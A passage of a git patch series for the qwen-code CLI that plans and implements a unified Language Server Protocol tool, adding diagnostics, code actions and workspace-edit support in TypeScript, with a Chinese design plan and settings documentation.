+| documentSymbol | 必填 | - | - | - | - | +| workspaceSymbol | - | - | - | 必填 | - | +| goToImplementation | 必填 | 必填 | 可选 | - | - | +| prepareCallHierarchy | 必填 | 必填 | 可选 | - | - | +| incomingCalls | - | - | - | - | 必填 | +| outgoingCalls | - | - | - | - | 必填 | + +### Step 3: 扩展 NativeLspService + +**文件**: `packages/cli/src/services/lsp/NativeLspService.ts` + +新增 6 个方法： + +1. `hover()` - 调用 `textDocument/hover` +2. `documentSymbols()` - 调用 `textDocument/documentSymbol` +3. `implementations()` - 调用 `textDocument/implementation` +4. `prepareCallHierarchy()` - 调用 `textDocument/prepareCallHierarchy` +5. `incomingCalls()` - 调用 `callHierarchy/incomingCalls` +6. `outgoingCalls()` - 调用 `callHierarchy/outgoingCalls` + +### Step 4: 更新工具名称映射 + +**文件**: `packages/core/src/tools/tool-names.ts` + +```typescript +export const ToolNames = { + LSP: 'lsp', // 新增 + // 保留旧名称（标记 deprecated） + LSP_WORKSPACE_SYMBOL: 'lsp_workspace_symbol', + LSP_GO_TO_DEFINITION: 'lsp_go_to_definition', + LSP_FIND_REFERENCES: 'lsp_find_references', +} as const; + +export const ToolNamesMigration = { + lsp_go_to_definition: ToolNames.LSP, + lsp_find_references: ToolNames.LSP, + lsp_workspace_symbol: ToolNames.LSP, +} as const; +``` + +### Step 5: 更新 Config 工具注册 + +**文件**: `packages/core/src/config/config.ts` + +- 注册新的统一 `LspTool` +- 保留旧工具注册（向后兼容） +- 可通过配置选项禁用旧工具 + +### Step 6: 向后兼容处理 + +**文件**: 现有 3 个 LSP 工具文件 + +- 添加 `@deprecated` 标记 +- 添加 deprecation warning 日志 +- 可选：内部转发到新工具实现 + +--- + +## 关键文件列表 + +| 文件路径 | 操作 | +| --------------------------------------------------- | --------------------------- | +| `packages/core/src/lsp/types.ts` | 修改 - 扩展类型定义 | +| `packages/core/src/tools/lsp.ts` | 新建 - 统一 LSP 工具 | +| `packages/core/src/tools/tool-names.ts` | 修改 - 添加工具名称 | +| `packages/cli/src/services/lsp/NativeLspService.ts` | 修改 - 添加 6 个新方法 | +| `packages/core/src/config/config.ts` | 修改 - 注册新工具 | +| `packages/core/src/tools/lsp-*.ts` (3个) | 修改 - 添加 deprecated 标记 | + +--- + +## 验证方式 + +1. **单元测试**： + - 新 `LspTool` 参数验证测试 + - 各操作执行逻辑测试 + - 向后兼容测试 + +2. **集成测试**： + - TypeScript Language Server 测试所有 9 个操作 + - Python LSP 测试 + - 多服务器场景测试 + +3. **手动验证**： + - 在 VS Code 中测试各操作 + - 验证旧工具名称仍可使用 + - 验证 deprecation warning 输出 + +--- + +## 风险与缓解 + +| 风险 | 缓解措施 | +| --------------------------- | -------------------------------------- | +| 部分 LSP 服务器不支持新操作 | 独立 try-catch，返回清晰错误消息 | +| Call Hierarchy 两步流程复杂 | 文档说明使用方式，提供示例 | +| 向后兼容增加维护成本 | 设置明确弃用时间线，配置选项控制旧工具 | + +--- + +## 后续优化建议 + +1. 考虑是否需要支持更多 LSP 操作（如 `textDocument/rename`, `textDocument/formatting`） +2. 考虑添加 LSP 服务器能力查询，动态返回支持的操作列表 +3. 考虑优化 TypeScript Server warm-up 逻辑，减少首次调用延迟 From 92cbb50473f1cddcb99d76f2a1d56858472f6124 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Wed, 21 Jan 2026 01:15:59 +0800 Subject: [PATCH 07/79] wip: lsp --- docs/users/configuration/settings.md | 17 + docs/users/features/_meta.ts | 1 + packages/cli/src/config/config.ts | 37 + .../cli/src/services/lsp/NativeLspService.ts | 714 ++++++++++++++++++ packages/core/src/lsp/types.ts | 182 +++++ packages/core/src/tools/lsp.ts | 253 ++++++- 6 files changed, 1201 insertions(+), 3 deletions(-) diff --git a/docs/users/configuration/settings.md b/docs/users/configuration/settings.md index 85902eaf2..3885f7ee3 100644 --- a/docs/users/configuration/settings.md +++ b/docs/users/configuration/settings.md @@ -287,6 +287,23 @@ If you are experiencing performance issues with file searching (e.g., with `@` c > > **Security Note for MCP servers:** These settings use simple string matching on MCP server names, which can be modified. If you're a system administrator looking to prevent users from bypassing this, consider configuring the `mcpServers` at the system settings level such that the user will not be able to configure any MCP servers of their own. This should not be used as an airtight security mechanism. +#### lsp + +Language Server Protocol (LSP) settings for code intelligence features like go-to-definition, find references, and diagnostics. See the [LSP documentation](../features/lsp) for more details. + +| Setting | Type | Description | Default | +| ------------------ | ---------------- | ---------------------------------------------------------------------------------------------------- | ----------- | +| `lsp.enabled` | boolean | Enable/disable LSP support. | `true` | +| `lsp.autoDetect` | boolean | Automatically detect and start language servers based on project files. | `true` | +| `lsp.serverTimeout`| number | LSP server startup timeout in milliseconds. | `10000` | +| `lsp.allowed` | array of strings | An allowlist of LSP servers to allow. Empty means allow all detected servers. | `[]` | +| `lsp.excluded` | array of strings | A denylist of LSP servers to exclude. A server listed in both is excluded. | `[]` | +| `lsp.languageServers` | object | Custom language server configurations. See the [LSP documentation](../features/lsp#custom-language-servers) for configuration format. | `{}` | + +> [!note] +> +> **Security Note for LSP servers:** LSP servers run with your user permissions and can execute code. They are only started in trusted workspaces by default. You can configure per-server trust requirements in the `.lsp.json` configuration file. + #### security | Setting | Type | Description | Default | diff --git a/docs/users/features/_meta.ts b/docs/users/features/_meta.ts index 0cc6d63a8..0155b3ba4 100644 --- a/docs/users/features/_meta.ts +++ b/docs/users/features/_meta.ts @@ -8,6 +8,7 @@ export default { }, 'approval-mode': 'Approval Mode', mcp: 'MCP', + lsp: 'LSP (Language Server Protocol)', 'token-caching': 'Token Caching', sandbox: 'Sandboxing', language: 'i18n', diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 3eba6e2cf..7a461ecb8 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -252,6 +252,43 @@ class NativeLspClient implements LspClient { ) { return this.service.outgoingCalls(item, serverName, limit); } + + /** + * Get diagnostics for a specific document. + */ + diagnostics(uri: string, serverName?: string) { + return this.service.diagnostics(uri, serverName); + } + + /** + * Get diagnostics for all open documents in the workspace. + */ + workspaceDiagnostics(serverName?: string, limit?: number) { + return this.service.workspaceDiagnostics(serverName, limit); + } + + /** + * Get code actions available at a specific location. + */ + codeActions( + uri: string, + range: Parameters[1], + context: Parameters[2], + serverName?: string, + limit?: number, + ) { + return this.service.codeActions(uri, range, context, serverName, limit); + } + + /** + * Apply a workspace edit (from code action or other sources). + */ + applyWorkspaceEdit( + edit: Parameters[0], + serverName?: string, + ) { + return this.service.applyWorkspaceEdit(edit, serverName); + } } function normalizeOutputFormat( diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index 77445a2f8..da670cb79 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -6,12 +6,20 @@ import type { LspCallHierarchyIncomingCall, LspCallHierarchyItem, LspCallHierarchyOutgoingCall, + LspCodeAction, + LspCodeActionContext, + LspCodeActionKind, LspDefinition, + LspDiagnostic, + LspDiagnosticSeverity, + LspFileDiagnostics, LspHoverResult, LspLocation, LspRange, LspReference, LspSymbolInformation, + LspTextEdit, + LspWorkspaceEdit, } from '@qwen-code/qwen-code-core'; import type { EventEmitter } from 'events'; import { LspConnectionFactory } from './LspConnectionFactory.js'; @@ -113,6 +121,32 @@ const SYMBOL_KIND_LABELS: Record = { 26: 'TypeParameter', }; +/** + * Diagnostic severity labels for converting numeric LSP DiagnosticSeverity to readable strings. + * Based on the LSP specification. + */ +const DIAGNOSTIC_SEVERITY_LABELS: Record = { + 1: 'error', + 2: 'warning', + 3: 'information', + 4: 'hint', +}; + +/** + * Code action kind labels from LSP specification. + */ +const CODE_ACTION_KIND_LABELS: Record = { + '': 'quickfix', + quickfix: 'quickfix', + refactor: 'refactor', + 'refactor.extract': 'refactor.extract', + 'refactor.inline': 'refactor.inline', + 'refactor.rewrite': 'refactor.rewrite', + source: 'source', + 'source.organizeImports': 'source.organizeImports', + 'source.fixAll': 'source.fixAll', +}; + const DEFAULT_LSP_STARTUP_TIMEOUT_MS = 10000; const DEFAULT_LSP_MAX_RESTARTS = 3; @@ -696,6 +730,686 @@ export class NativeLspService { return []; } + /** + * 获取文档的诊断信息 + */ + async diagnostics( + uri: string, + serverName?: string, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + const allDiagnostics: LspDiagnostic[] = []; + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + + // Request pull diagnostics if the server supports it + const response = await handle.connection.request( + 'textDocument/diagnostic', + { + textDocument: { uri }, + }, + ); + + if (response && typeof response === 'object') { + const responseObj = response as Record; + const items = responseObj['items']; + if (Array.isArray(items)) { + for (const item of items) { + const normalized = this.normalizeDiagnostic(item, name); + if (normalized) { + allDiagnostics.push(normalized); + } + } + } + } + } catch (error) { + // Fall back to cached diagnostics from publishDiagnostics notifications + // This is handled by the notification handler if implemented + console.warn( + `LSP textDocument/diagnostic failed for ${name}:`, + error, + ); + } + } + + return allDiagnostics; + } + + /** + * 获取工作区所有文档的诊断信息 + */ + async workspaceDiagnostics( + serverName?: string, + limit = 100, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + const results: LspFileDiagnostics[] = []; + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + + // Request workspace diagnostics if supported + const response = await handle.connection.request( + 'workspace/diagnostic', + { + previousResultIds: [], + }, + ); + + if (response && typeof response === 'object') { + const responseObj = response as Record; + const items = responseObj['items']; + if (Array.isArray(items)) { + for (const item of items) { + if (results.length >= limit) { + break; + } + const normalized = this.normalizeFileDiagnostics(item, name); + if (normalized && normalized.diagnostics.length > 0) { + results.push(normalized); + } + } + } + } + } catch (error) { + console.warn( + `LSP workspace/diagnostic failed for ${name}:`, + error, + ); + } + + if (results.length >= limit) { + break; + } + } + + return results.slice(0, limit); + } + + /** + * 获取指定位置的代码操作 + */ + async codeActions( + uri: string, + range: LspRange, + context: LspCodeActionContext, + serverName?: string, + limit = 20, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + + // Convert context diagnostics to LSP format + const lspDiagnostics = context.diagnostics.map((d) => + this.denormalizeDiagnostic(d), + ); + + const response = await handle.connection.request( + 'textDocument/codeAction', + { + textDocument: { uri }, + range, + context: { + diagnostics: lspDiagnostics, + only: context.only, + triggerKind: + context.triggerKind === 'automatic' + ? 2 // CodeActionTriggerKind.Automatic + : 1, // CodeActionTriggerKind.Invoked + }, + }, + ); + + if (!Array.isArray(response)) { + continue; + } + + const actions: LspCodeAction[] = []; + for (const item of response) { + const normalized = this.normalizeCodeAction(item, name); + if (normalized) { + actions.push(normalized); + if (actions.length >= limit) { + break; + } + } + } + + if (actions.length > 0) { + return actions.slice(0, limit); + } + } catch (error) { + console.warn( + `LSP textDocument/codeAction failed for ${name}:`, + error, + ); + } + } + + return []; + } + + /** + * 应用工作区编辑 + */ + async applyWorkspaceEdit( + edit: LspWorkspaceEdit, + serverName?: string, + ): Promise { + // Apply edits locally - this doesn't go through LSP server + // Instead, it applies the edits to the file system + try { + if (edit.changes) { + for (const [uri, edits] of Object.entries(edit.changes)) { + await this.applyTextEdits(uri, edits); + } + } + + if (edit.documentChanges) { + for (const docChange of edit.documentChanges) { + await this.applyTextEdits(docChange.textDocument.uri, docChange.edits); + } + } + + return true; + } catch (error) { + console.error('Failed to apply workspace edit:', error); + return false; + } + } + + /** + * 应用文本编辑到文件 + */ + private async applyTextEdits( + uri: string, + edits: LspTextEdit[], + ): Promise { + const filePath = uri.startsWith('file://') + ? uri.replace(/^file:\/\//, '') + : uri; + + // Read the current file content + let content: string; + try { + content = fs.readFileSync(filePath, 'utf-8'); + } catch { + // File doesn't exist, treat as empty + content = ''; + } + + // Sort edits in reverse order to apply from end to start + const sortedEdits = [...edits].sort((a, b) => { + if (a.range.start.line !== b.range.start.line) { + return b.range.start.line - a.range.start.line; + } + return b.range.start.character - a.range.start.character; + }); + + const lines = content.split('\n'); + + for (const edit of sortedEdits) { + const { range, newText } = edit; + const startLine = range.start.line; + const endLine = range.end.line; + const startChar = range.start.character; + const endChar = range.end.character; + + // Get the affected lines + const startLineText = lines[startLine] ?? ''; + const endLineText = lines[endLine] ?? ''; + + // Build the new content + const before = startLineText.slice(0, startChar); + const after = endLineText.slice(endChar); + + // Replace the range with new text + const newLines = (before + newText + after).split('\n'); + + // Replace affected lines + lines.splice(startLine, endLine - startLine + 1, ...newLines); + } + + // Write back to file + fs.writeFileSync(filePath, lines.join('\n'), 'utf-8'); + } + + /** + * 规范化诊断结果 + */ + private normalizeDiagnostic( + item: unknown, + serverName: string, + ): LspDiagnostic | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const range = this.normalizeRange(itemObj['range']); + if (!range) { + return null; + } + + const message = + typeof itemObj['message'] === 'string' + ? (itemObj['message'] as string) + : ''; + if (!message) { + return null; + } + + const severityNum = + typeof itemObj['severity'] === 'number' + ? (itemObj['severity'] as number) + : undefined; + const severity = severityNum + ? DIAGNOSTIC_SEVERITY_LABELS[severityNum] + : undefined; + + const code = itemObj['code']; + const codeValue = + typeof code === 'string' || typeof code === 'number' ? code : undefined; + + const source = + typeof itemObj['source'] === 'string' + ? (itemObj['source'] as string) + : undefined; + + const tags = this.normalizeDiagnosticTags(itemObj['tags']); + const relatedInfo = this.normalizeDiagnosticRelatedInfo( + itemObj['relatedInformation'], + ); + + return { + range, + severity, + code: codeValue, + source, + message, + tags: tags.length > 0 ? tags : undefined, + relatedInformation: relatedInfo.length > 0 ? relatedInfo : undefined, + serverName, + }; + } + + /** + * 将诊断转换回 LSP 格式 + */ + private denormalizeDiagnostic( + diagnostic: LspDiagnostic, + ): Record { + const severityMap: Record = { + error: 1, + warning: 2, + information: 3, + hint: 4, + }; + + return { + range: diagnostic.range, + message: diagnostic.message, + severity: diagnostic.severity + ? severityMap[diagnostic.severity] + : undefined, + code: diagnostic.code, + source: diagnostic.source, + }; + } + + /** + * 规范化诊断标签 + */ + private normalizeDiagnosticTags( + tags: unknown, + ): Array<'unnecessary' | 'deprecated'> { + if (!Array.isArray(tags)) { + return []; + } + + const result: Array<'unnecessary' | 'deprecated'> = []; + for (const tag of tags) { + if (tag === 1) { + result.push('unnecessary'); + } else if (tag === 2) { + result.push('deprecated'); + } + } + return result; + } + + /** + * 规范化诊断相关信息 + */ + private normalizeDiagnosticRelatedInfo( + info: unknown, + ): Array<{ location: LspLocation; message: string }> { + if (!Array.isArray(info)) { + return []; + } + + const result: Array<{ location: LspLocation; message: string }> = []; + for (const item of info) { + if (!item || typeof item !== 'object') { + continue; + } + const itemObj = item as Record; + const location = itemObj['location']; + if (!location || typeof location !== 'object') { + continue; + } + const locObj = location as Record; + const uri = locObj['uri']; + const range = this.normalizeRange(locObj['range']); + const message = itemObj['message']; + + if (typeof uri === 'string' && range && typeof message === 'string') { + result.push({ + location: { uri, range }, + message, + }); + } + } + return result; + } + + /** + * 规范化文件诊断结果 + */ + private normalizeFileDiagnostics( + item: unknown, + serverName: string, + ): LspFileDiagnostics | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const uri = + typeof itemObj['uri'] === 'string' ? (itemObj['uri'] as string) : ''; + if (!uri) { + return null; + } + + const items = itemObj['items']; + if (!Array.isArray(items)) { + return null; + } + + const diagnostics: LspDiagnostic[] = []; + for (const diagItem of items) { + const normalized = this.normalizeDiagnostic(diagItem, serverName); + if (normalized) { + diagnostics.push(normalized); + } + } + + return { + uri, + diagnostics, + serverName, + }; + } + + /** + * 规范化代码操作结果 + */ + private normalizeCodeAction( + item: unknown, + serverName: string, + ): LspCodeAction | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + + // Check if this is a Command instead of CodeAction + if (itemObj['command'] && typeof itemObj['title'] === 'string' && !itemObj['kind']) { + // This is a raw Command, wrap it + return { + title: itemObj['title'] as string, + command: { + title: itemObj['title'] as string, + command: (itemObj['command'] as string) ?? '', + arguments: itemObj['arguments'] as unknown[] | undefined, + }, + serverName, + }; + } + + const title = + typeof itemObj['title'] === 'string' ? (itemObj['title'] as string) : ''; + if (!title) { + return null; + } + + const kind = + typeof itemObj['kind'] === 'string' + ? (CODE_ACTION_KIND_LABELS[itemObj['kind'] as string] ?? + (itemObj['kind'] as LspCodeActionKind)) + : undefined; + + const isPreferred = + typeof itemObj['isPreferred'] === 'boolean' + ? (itemObj['isPreferred'] as boolean) + : undefined; + + const edit = this.normalizeWorkspaceEdit(itemObj['edit']); + const command = this.normalizeCommand(itemObj['command']); + + const diagnostics: LspDiagnostic[] = []; + if (Array.isArray(itemObj['diagnostics'])) { + for (const diag of itemObj['diagnostics']) { + const normalized = this.normalizeDiagnostic(diag, serverName); + if (normalized) { + diagnostics.push(normalized); + } + } + } + + return { + title, + kind, + diagnostics: diagnostics.length > 0 ? diagnostics : undefined, + isPreferred, + edit: edit ?? undefined, + command: command ?? undefined, + data: itemObj['data'], + serverName, + }; + } + + /** + * 规范化工作区编辑 + */ + private normalizeWorkspaceEdit( + edit: unknown, + ): LspWorkspaceEdit | null { + if (!edit || typeof edit !== 'object') { + return null; + } + + const editObj = edit as Record; + const result: LspWorkspaceEdit = {}; + + // Handle changes (map of URI to TextEdit[]) + if (editObj['changes'] && typeof editObj['changes'] === 'object') { + const changes = editObj['changes'] as Record; + result.changes = {}; + for (const [uri, edits] of Object.entries(changes)) { + if (Array.isArray(edits)) { + const normalizedEdits: LspTextEdit[] = []; + for (const e of edits) { + const normalized = this.normalizeTextEdit(e); + if (normalized) { + normalizedEdits.push(normalized); + } + } + if (normalizedEdits.length > 0) { + result.changes[uri] = normalizedEdits; + } + } + } + } + + // Handle documentChanges + if (Array.isArray(editObj['documentChanges'])) { + result.documentChanges = []; + for (const docChange of editObj['documentChanges']) { + const normalized = this.normalizeTextDocumentEdit(docChange); + if (normalized) { + result.documentChanges.push(normalized); + } + } + } + + if ( + (!result.changes || Object.keys(result.changes).length === 0) && + (!result.documentChanges || result.documentChanges.length === 0) + ) { + return null; + } + + return result; + } + + /** + * 规范化文本编辑 + */ + private normalizeTextEdit(edit: unknown): LspTextEdit | null { + if (!edit || typeof edit !== 'object') { + return null; + } + + const editObj = edit as Record; + const range = this.normalizeRange(editObj['range']); + if (!range) { + return null; + } + + const newText = + typeof editObj['newText'] === 'string' + ? (editObj['newText'] as string) + : ''; + + return { range, newText }; + } + + /** + * 规范化文本文档编辑 + */ + private normalizeTextDocumentEdit( + docEdit: unknown, + ): { textDocument: { uri: string; version?: number | null }; edits: LspTextEdit[] } | null { + if (!docEdit || typeof docEdit !== 'object') { + return null; + } + + const docEditObj = docEdit as Record; + const textDocument = docEditObj['textDocument']; + if (!textDocument || typeof textDocument !== 'object') { + return null; + } + + const textDocObj = textDocument as Record; + const uri = + typeof textDocObj['uri'] === 'string' + ? (textDocObj['uri'] as string) + : ''; + if (!uri) { + return null; + } + + const version = + typeof textDocObj['version'] === 'number' + ? (textDocObj['version'] as number) + : null; + + const edits = docEditObj['edits']; + if (!Array.isArray(edits)) { + return null; + } + + const normalizedEdits: LspTextEdit[] = []; + for (const e of edits) { + const normalized = this.normalizeTextEdit(e); + if (normalized) { + normalizedEdits.push(normalized); + } + } + + if (normalizedEdits.length === 0) { + return null; + } + + return { + textDocument: { uri, version }, + edits: normalizedEdits, + }; + } + + /** + * 规范化命令 + */ + private normalizeCommand( + cmd: unknown, + ): { title: string; command: string; arguments?: unknown[] } | null { + if (!cmd || typeof cmd !== 'object') { + return null; + } + + const cmdObj = cmd as Record; + const title = + typeof cmdObj['title'] === 'string' ? (cmdObj['title'] as string) : ''; + const command = + typeof cmdObj['command'] === 'string' + ? (cmdObj['command'] as string) + : ''; + + if (!command) { + return null; + } + + const args = Array.isArray(cmdObj['arguments']) + ? (cmdObj['arguments'] as unknown[]) + : undefined; + + return { title, command, arguments: args }; + } + /** * 检测工作区中的编程语言 */ diff --git a/packages/core/src/lsp/types.ts b/packages/core/src/lsp/types.ts index 936a784ac..1602b286c 100644 --- a/packages/core/src/lsp/types.ts +++ b/packages/core/src/lsp/types.ts @@ -95,6 +95,153 @@ export interface LspCallHierarchyOutgoingCall { fromRanges: LspRange[]; } +/** + * Diagnostic severity levels from LSP specification. + */ +export type LspDiagnosticSeverity = 'error' | 'warning' | 'information' | 'hint'; + +/** + * A diagnostic message from a language server. + */ +export interface LspDiagnostic { + /** The range at which the diagnostic applies. */ + range: LspRange; + /** The diagnostic's severity (error, warning, information, hint). */ + severity?: LspDiagnosticSeverity; + /** The diagnostic's code (string or number). */ + code?: string | number; + /** A human-readable string describing the source (e.g., 'typescript'). */ + source?: string; + /** The diagnostic's message. */ + message: string; + /** Additional metadata about the diagnostic. */ + tags?: LspDiagnosticTag[]; + /** Related diagnostic information. */ + relatedInformation?: LspDiagnosticRelatedInformation[]; + /** The LSP server that provided this diagnostic. */ + serverName?: string; +} + +/** + * Diagnostic tags from LSP specification. + */ +export type LspDiagnosticTag = 'unnecessary' | 'deprecated'; + +/** + * Related diagnostic information. + */ +export interface LspDiagnosticRelatedInformation { + /** The location of the related diagnostic. */ + location: LspLocation; + /** The message of the related diagnostic. */ + message: string; +} + +/** + * A file's diagnostics grouped by URI. + */ +export interface LspFileDiagnostics { + /** The document URI. */ + uri: string; + /** The diagnostics for this document. */ + diagnostics: LspDiagnostic[]; + /** The LSP server that provided these diagnostics. */ + serverName?: string; +} + +/** + * A code action represents a change that can be performed in code. + */ +export interface LspCodeAction { + /** A short, human-readable title for this code action. */ + title: string; + /** The kind of the code action (quickfix, refactor, etc.). */ + kind?: LspCodeActionKind; + /** The diagnostics that this code action resolves. */ + diagnostics?: LspDiagnostic[]; + /** Marks this as a preferred action. */ + isPreferred?: boolean; + /** The workspace edit this code action performs. */ + edit?: LspWorkspaceEdit; + /** A command this code action executes. */ + command?: LspCommand; + /** Opaque data used by the server for subsequent resolve calls. */ + data?: unknown; + /** The LSP server that provided this code action. */ + serverName?: string; +} + +/** + * Code action kinds from LSP specification. + */ +export type LspCodeActionKind = + | 'quickfix' + | 'refactor' + | 'refactor.extract' + | 'refactor.inline' + | 'refactor.rewrite' + | 'source' + | 'source.organizeImports' + | 'source.fixAll' + | string; + +/** + * A workspace edit represents changes to many resources managed in the workspace. + */ +export interface LspWorkspaceEdit { + /** Holds changes to existing documents. */ + changes?: Record; + /** Versioned document changes (more precise control). */ + documentChanges?: LspTextDocumentEdit[]; +} + +/** + * A text edit applicable to a document. + */ +export interface LspTextEdit { + /** The range of the text document to be manipulated. */ + range: LspRange; + /** The string to be inserted (empty string for delete). */ + newText: string; +} + +/** + * Describes textual changes on a single text document. + */ +export interface LspTextDocumentEdit { + /** The text document to change. */ + textDocument: { + uri: string; + version?: number | null; + }; + /** The edits to be applied. */ + edits: LspTextEdit[]; +} + +/** + * A command represents a reference to a command. + */ +export interface LspCommand { + /** Title of the command. */ + title: string; + /** The identifier of the actual command handler. */ + command: string; + /** Arguments to the command handler. */ + arguments?: unknown[]; +} + +/** + * Context for code action requests. + */ +export interface LspCodeActionContext { + /** The diagnostics for which code actions are requested. */ + diagnostics: LspDiagnostic[]; + /** Requested kinds of code actions to return. */ + only?: LspCodeActionKind[]; + /** The reason why code actions were requested. */ + triggerKind?: 'invoked' | 'automatic'; +} + export interface LspClient { /** * Search for symbols across the workspace. @@ -175,4 +322,39 @@ export interface LspClient { serverName?: string, limit?: number, ): Promise; + + /** + * Get diagnostics for a specific document. + */ + diagnostics( + uri: string, + serverName?: string, + ): Promise; + + /** + * Get diagnostics for all open documents in the workspace. + */ + workspaceDiagnostics( + serverName?: string, + limit?: number, + ): Promise; + + /** + * Get code actions available at a specific location. + */ + codeActions( + uri: string, + range: LspRange, + context: LspCodeActionContext, + serverName?: string, + limit?: number, + ): Promise; + + /** + * Apply a workspace edit (from code action or other sources). + */ + applyWorkspaceEdit( + edit: LspWorkspaceEdit, + serverName?: string, + ): Promise; } diff --git a/packages/core/src/tools/lsp.ts b/packages/core/src/tools/lsp.ts index 41487830e..d53b473d6 100644 --- a/packages/core/src/tools/lsp.ts +++ b/packages/core/src/tools/lsp.ts @@ -15,7 +15,12 @@ import type { LspCallHierarchyItem, LspCallHierarchyOutgoingCall, LspClient, + LspCodeAction, + LspCodeActionContext, + LspCodeActionKind, LspDefinition, + LspDiagnostic, + LspFileDiagnostics, LspLocation, LspRange, LspReference, @@ -34,7 +39,10 @@ export type LspOperation = | 'goToImplementation' | 'prepareCallHierarchy' | 'incomingCalls' - | 'outgoingCalls'; + | 'outgoingCalls' + | 'diagnostics' + | 'workspaceDiagnostics' + | 'codeActions'; /** * Parameters for the unified LSP tool. @@ -48,6 +56,10 @@ export interface LspToolParams { line?: number; /** 1-based character/column number when targeting a specific file location. */ character?: number; + /** End line for range-based operations (1-based). */ + endLine?: number; + /** End character for range-based operations (1-based). */ + endCharacter?: number; /** Whether to include the declaration in reference results. */ includeDeclaration?: boolean; /** Query string for workspace symbol search. */ @@ -58,6 +70,10 @@ export interface LspToolParams { serverName?: string; /** Optional maximum number of results. */ limit?: number; + /** Diagnostics for code action context. */ + diagnostics?: LspDiagnostic[]; + /** Code action kinds to filter by. */ + codeActionKinds?: LspCodeActionKind[]; } type ResolvedTarget = @@ -77,7 +93,10 @@ const LOCATION_REQUIRED_OPERATIONS = new Set([ ]); /** Operations that only require filePath. */ -const FILE_REQUIRED_OPERATIONS = new Set(['documentSymbol']); +const FILE_REQUIRED_OPERATIONS = new Set([ + 'documentSymbol', + 'diagnostics', +]); /** Operations that require query. */ const QUERY_REQUIRED_OPERATIONS = new Set(['workspaceSymbol']); @@ -88,6 +107,12 @@ const ITEM_REQUIRED_OPERATIONS = new Set([ 'outgoingCalls', ]); +/** Operations that require filePath and range for code actions. */ +const RANGE_REQUIRED_OPERATIONS = new Set(['codeActions']); + +/** Operations that don't require specific parameters. */ +const NO_PARAM_OPERATIONS = new Set(['workspaceDiagnostics']); + class LspToolInvocation extends BaseToolInvocation { constructor( private readonly config: Config, @@ -147,6 +172,12 @@ class LspToolInvocation extends BaseToolInvocation { return this.executeIncomingCalls(client); case 'outgoingCalls': return this.executeOutgoingCalls(client); + case 'diagnostics': + return this.executeDiagnostics(client); + case 'workspaceDiagnostics': + return this.executeWorkspaceDiagnostics(client); + case 'codeActions': + return this.executeCodeActions(client); default: { const message = `Unsupported LSP operation: ${this.params.operation}`; return { llmContent: message, returnDisplay: message }; @@ -608,6 +639,162 @@ class LspToolInvocation extends BaseToolInvocation { }; } + private async executeDiagnostics(client: LspClient): Promise { + const workspaceRoot = this.config.getProjectRoot(); + const filePath = this.params.filePath ?? ''; + const uri = this.resolveUri(filePath, workspaceRoot); + if (!uri) { + const message = 'A valid filePath is required for diagnostics.'; + return { llmContent: message, returnDisplay: message }; + } + + let diagnostics: LspDiagnostic[] = []; + try { + diagnostics = await client.diagnostics(uri, this.params.serverName); + } catch (error) { + const message = `LSP diagnostics failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!diagnostics.length) { + const fileLabel = this.formatUriForDisplay(uri, workspaceRoot); + const message = `No diagnostics found for ${fileLabel}.`; + return { llmContent: message, returnDisplay: message }; + } + + const lines = diagnostics.map((diag, index) => { + const severity = diag.severity ? `[${diag.severity.toUpperCase()}]` : ''; + const position = `${diag.range.start.line + 1}:${diag.range.start.character + 1}`; + const code = diag.code ? ` (${diag.code})` : ''; + const source = diag.source ? ` [${diag.source}]` : ''; + return `${index + 1}. ${severity} ${position}${code}${source}: ${diag.message}`; + }); + + const fileLabel = this.formatUriForDisplay(uri, workspaceRoot); + const heading = `Diagnostics for ${fileLabel} (${diagnostics.length} issues):`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async executeWorkspaceDiagnostics( + client: LspClient, + ): Promise { + const limit = this.params.limit ?? 50; + let fileDiagnostics: LspFileDiagnostics[] = []; + try { + fileDiagnostics = await client.workspaceDiagnostics( + this.params.serverName, + limit, + ); + } catch (error) { + const message = `LSP workspace diagnostics failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!fileDiagnostics.length) { + const message = 'No diagnostics found in the workspace.'; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines: string[] = []; + let totalIssues = 0; + + for (const fileDiag of fileDiagnostics) { + const fileLabel = this.formatUriForDisplay(fileDiag.uri, workspaceRoot); + const serverSuffix = fileDiag.serverName ? ` [${fileDiag.serverName}]` : ''; + lines.push(`\n${fileLabel}${serverSuffix}:`); + + for (const diag of fileDiag.diagnostics) { + const severity = diag.severity ? `[${diag.severity.toUpperCase()}]` : ''; + const position = `${diag.range.start.line + 1}:${diag.range.start.character + 1}`; + const code = diag.code ? ` (${diag.code})` : ''; + lines.push(` ${severity} ${position}${code}: ${diag.message}`); + totalIssues++; + } + } + + const heading = `Workspace diagnostics (${totalIssues} issues in ${fileDiagnostics.length} files):`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async executeCodeActions(client: LspClient): Promise { + const workspaceRoot = 